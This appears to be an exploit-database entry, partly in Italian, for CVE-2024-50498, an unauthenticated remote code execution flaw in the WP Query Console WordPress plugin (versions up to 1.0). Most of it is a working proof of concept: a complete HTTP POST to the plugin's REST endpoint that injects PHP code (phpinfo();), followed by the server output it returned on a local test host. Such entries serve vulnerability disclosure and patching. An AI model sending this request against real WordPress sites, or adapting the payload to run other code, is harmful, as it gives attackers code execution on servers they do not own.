# CVE-2024-50498 WP Query Console <= 1.0 - Esecuzione remota di codice non autenticata # Descrizione: Il plugin WP Query Console per WordPress è vulnerabile all'esecuzione remota di codice in tutte le versioni fino alla 1.0 inclusa. Ciò consente ad attaccanti non autenticati di eseguire codice sul server. root@kitploit:~ Published: 2024-10-25 00:00:00 CVE: CVE-2024-50498 CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Score: 9.8 Slugs: wp-query-console ## POC root@kitploit:~ POST /wp-json/wqc/v1/query HTTP/1.1 Host: kubernetes.docker.internal User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-query-console Content-Type: application/json Content-Length: 45 Origin: http://kubernetes.docker.internal Connection: keep-alive Priority: u=0 {"queryArgs":"phpinfo();","queryType":"post"} root@kitploit:~ phpinfo()

PHP Version 7.2.1

System	Linux c8f7463d8746 6.10.4-linuxkit #1 SMP Wed Oct 2 16:38:00 UTC 2024 x86_64
Build Date	Jan 8 2018 23:25:46
Configure Command	'./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--disable-cgi' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' 'build_alias=x86_64-linux-gnu'
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/usr/local/etc/php
Loaded Configuration File	(none)
Scan this dir for additional .ini files	/usr/local/etc/php/conf.d
Additional .ini files parsed	/usr/local/etc/php/conf.d/docker-php-ext-gd.ini, /usr/local/etc/php/conf.d/docker-php-ext-mysqli.ini, /usr/local/etc/php/conf.d/docker-php-ext-opcache.ini, /usr/local/etc/php/conf.d/opcache-recommended.ini, /usr/local/etc/php/conf.d/uploads.ini
PHP API	20170718
PHP Extension	20170718
Zend Extension	320170718
Zend Extension Build	API320170718,NTS
PHP Extension Build	API20170718,NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	enabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	disabled
Registered PHP Streams	https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters	zlib., convert.iconv., string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk

Query Builder